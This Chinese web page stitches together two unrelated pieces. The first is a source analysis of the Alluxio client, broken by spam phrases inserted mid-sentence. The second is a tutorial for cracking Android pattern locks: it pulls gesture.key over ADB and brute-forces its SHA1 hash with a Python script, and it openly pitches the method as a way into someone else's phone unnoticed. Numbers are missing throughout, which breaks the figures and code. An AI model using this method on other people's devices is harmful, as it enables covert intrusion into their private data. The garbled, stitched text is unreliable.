Alluxio 客户端源码分析

       Alluxio是锁系一个用于云分析和人工智能的开源数据编排技术，作为分布式文件系统，统源采用与HDFS相似的码共主从架构。系统中包含一个或多个Master节点存储集群元数据信息，享智系统dmawin驱动源码以及Worker节点管理缓存的源码数据块。本文将深入分析Alluxio客户端的共享实现。

       创建客户端逻辑在类alluxio.client.file.FileSystem中，智能找简单示例代码如下。锁系

       客户端初始化包括调用FileSystem.Context.create创建客户端对象的统源上下文，在此过程中需要初始化客户端以创建与Master和Worker连接的码共连接池。若启用了配置alluxio.user.metrics.collection.enabled，享智系统将启动后台守护线程定时与Master节点进行心跳传输监控指标信息。源码同时，共享客户端初始化时还会创建负责重新初始化的后台线程，定期从Master拉取配置文件的哈希值，若Master节点配置发生变化，则重新初始化客户端，期间阻塞所有请求直到重新初始化完成。

       创建具有缓存功能的客户端在客户端初始化后，调用FileSystem.Factory.create进行客户端创建。arm linux 源码剖析客户端实现分为BaseFileSystem、MetadataCachingBaseFileSystem和LocalCacheFileSystem三种，其中MetadataCachingBaseFileSystem和LocalCacheFileSystem对BaseFileSystem进行封装，提供元数据和数据缓存功能。BaseFileSystem的调用主要分为三大类：纯元数据操作、读取文件操作和写入文件操作。针对元数据操作，直接调用对应GRPC接口（例如listStatus）。接下来，将介绍客户端如何与Master节点进行通信以及读取和写入的流程。

       客户端需要先通过MasterInquireClient接口获取主节点地址，当前有三种实现：PollingMasterInquireClient、SingleMasterInquireClient和ZkMasterInquireClient。其中，PollingMasterInquireClient是针对嵌入式日志模式下选择主节点的实现类，SingleMasterInquireClient用于选择单节点Master节点，ZkMasterInquireClient用于Zookeeper模式下的主节点选择。因为Alluxio中只有主节点启动GRPC服务，其他节点连接客户端会断开，PollingMasterInquireClient会依次轮询所有主节点，直到找到可以连接的石头剪刀布源码节点。之后，客户端记录该主节点，如果无法连接主节点，则重新调用PollingMasterInquireClient过程以连接新的主节点。

       数据读取流程始于BaseFileSystem.openFile函数，首先通过getStatus向Master节点获取文件元数据，然后检查文件是否为目录或未写入完成等条件，若出现异常则抛出异常。寻找合适的Worker节点根据getStatus获取的文件信息中包含所有块的信息，通过偏移量计算当前所需读取的块编号，并寻找最接近客户端并持有该块的Worker节点，从该节点读取数据。判断最接近客户端的Worker逻辑位于BlockLocationUtils.nearest，考虑使用domain socket进行短路读取时的Worker节点地址一致性。根据配置项alluxio.worker.data.server.domain.socket.address，判断每个Worker使用的domain socket路径是否一致。如果没有使用域名socket信息寻找到最近的Worker节点，则根据配置项alluxio.user.ufs.block.read.location.policy选择一个Worker节点进行读取。若客户端和数据块在同一节点上，则通过短路读取直接从本地文件系统读取数据，否则通过与Worker节点建立GRPC通信读取文件。centos redis 源码安装

       如果无法通过短路读取数据，客户端会回退到使用GRPC连接与选中的Worker节点通信。首先判断是否可以通过domain socket连接Worker节点，优先选择使用domain socket方式。创建基于GRPC的块输入流代码位于BlockInStream.createGrpcBlockInStream。通过GRPC进行连接时，每次读取一个chunk大小并缓存chunk，减少RPC调用次数提高性能，chunk大小由配置alluxio.user.network.reader.chunk.size.bytes决定。

       读取数据块完成后或出现异常终止，Worker节点会自动释放针对该块的写入锁。读取异常处理策略是记录失败的Worker节点，尝试从其他Worker节点读取，直到达到重试次数上限或没有可用的Worker节点。

       若无法通过本地Worker节点读取数据，则客户端尝试发起异步缓存请求。若启用了配置alluxio.user.file.passive.cache.enabled且存在本地Worker节点，则向本地Worker节点发起异步缓存请求，否则向负责读取该块数据的Worker节点发起请求。

       数据写入流程首先向Master节点发送CreateFile请求，Master验证请求合法性并返回新文件的自动点赞源码基本信息。根据不同的写入类型，进行不同操作。如果是THROUGH或CACHE_THROUGH等需要直接写入底层文件系统的写入类型，则选择一个Worker节点处理写入到UFS的数据。对于MUST_CACHE、CACHE_THROUGH、ASYNC_THROUGH等需要缓存数据到Worker节点上的写入类型，则打开另一个流负责将每个写入的块缓存到不同的Worker上。写入worker缓存块流程类似于读取流程，若写入的Worker与客户端在同一个主机上，则使用短路写直接将块数据写入Worker本地，无需通过网络发送到Worker上。数据完成写入后，客户端向Master节点发送completeFile请求，表示文件已写入完成。

       写入失败时，取消当前流以及所有使用过的输出流，删除所有缓存的块和底层存储中的数据，与读取流程不同，写入失败后不进行重试。

       零拷贝实现用于优化写入和读取流程中WriteRequest和ReadResponse消息体积大的问题，通过配置alluxio.user.streaming.zerocopy.enabled开启零拷贝特性。Alluxio通过实现了GRPC的MethodDescriptor.Marshaller和Drainable接口来实现GRPC零拷贝特性。MethodDescriptor.Marshaller负责对消息序列化和反序列化的抽象，用于自定义消息序列化和反序列化行为。Drainable扩展java.io.InputStream，提供将所有内容转移到OutputStream的方法，避免数据拷贝，优化内容直接写入OutputStream的过程。

       总结，阅读客户端代码有助于了解Alluxio体系结构，明白读取和写入数据时的数据流向。深入理解Alluxio客户端实现对于后续阅读其他Alluxio代码非常有帮助。

智能手机九宫格锁解锁方法大放送！智商低者慎入！

       现如今，众多使用智能手机的孩子们都喜欢使用九宫格的锁屏方式防止信息泄露。也的确一些复杂的锁屏图案可以让很多人望而却步。其实这种锁屏方法解起来不是很困难，只要懂一点计算机知识就可以轻松搞定！接下来就是智能手机九宫格解锁方法大放送！高智商的孩子赶快get起来！

       我们平常所用的图形锁(九宫格)是3×3的点阵，按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点，最多能连接9个点。网上也有暴力删除手机图形锁的方法，即直接干掉图形锁功能。但假如你想进入别人的手机，但又不想引起其警觉的话，嘿嘿本文可以帮到你！

       九宫格解锁实现前提条件：手机需要root，而且打开调试模式。一般来讲，如果用过诸如“豌豆荚手机助手”、“手机助手”一类的软件，都会被要求打开调试模式的。如果要删除手机内置软件，则需要将手机root。

       九宫格解锁原理分析：

       首先科普一下，安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知，每个点都有其编号，组成了一个3×3的矩阵，形如：

       假如设定解锁图形为一个“L”形，如图：

       那么这几个点的排列顺序是这样的： 。系统就记下来了这一串数字，然后将这一串数字(以十六进制的方式)进行SHA1加密，存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑，然后ADB连接手机，将文件下载到电脑上(命令：adb pull /data/system/gesture.key gesture.key)，如图：

       用WinHex等十六进制编辑程序打开gesture.key，会发现文件内是SHA1加密过的字符串：c8c0badc8bbfdf0，如图：

       当你下次解锁的时候，系统就对比你画的图案，看对应的数字串是不是对应的加密结果。如果是，就解锁;不是就继续保持锁定。那么，如果穷举所有的数字串排列，会有多少呢联想到高中的阶乘，如果用4个点做解锁图形的话，就是9x8x7x6=种可能性，那5个点就是，6个点的话，7个点，8个点，9个点。总共是种可能性(但这么计算并不严密，因为同一条直线上的点只能和他们相邻的点相连)。

       满打满算，也不到种可能性。乍一看很大，但在计算机面前，穷举出来这些东西用不了几秒钟。

       破解过程

       知道了原理，就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置，生成-的排列组合)。

       主要流程为：

       1.ADB连接手机，获取gesture.key文件

       2.读取key文件，存入字符串str_A

       3.生成全部可能的数字串

       4.对这些数字串进行加密，得到字符串str_B

       5.将字符串str_A与str_B进行对比

       6.如果字符串A，B相同，则说明数字串num就是想要的解锁顺序

       7.打印出数字串num

       下面为程序：

       # -*- coding: cp -*-import itertools

       import hashlib

       import time

       import os

       #调用cmd，ADB连接到手机,读取SHA1加密后的字符串

       os.system("adb pull /data/system/gesture.key gesture.key")

       time.sleep(5)

       f=open('gesture.key','r')

       pswd=f.readline()

       f.close()

       pswd_hex=pswd.encode('hex')print '加密后的密码为：%s'%pswd_hex

       #生成解锁序列，得到['','','','','','','','','']

       matrix=[]

       for i in range(0,9):

       str_temp = '0'+str(i)

       matrix.append(str_temp)#将——的字符进行排列，至少取4个数排列，最多全部进行排列

       min_num=4

       max_num=len(matrix)for num in range(min_num,max_num+1):#从 -

       iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列

       list_m=[]

       list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中

       for el in list_m[0]:#遍历这n个数字的全部排列

       strlist=''.join(el)#将list转换成str。[,,,,]--

       strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密

       if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比

       print '解锁密码为：',strlist

       看着是不是有点凌乱！不得不说，不懂些计算机真的想看天书一样！即便自己做不到破解别人的九宫格锁屏也没关系！至少知道懂些计算机的人可以搞定这件事。到时候忘了九宫格锁屏图案也找个行家帮忙！至少不用花钱雇人搞定。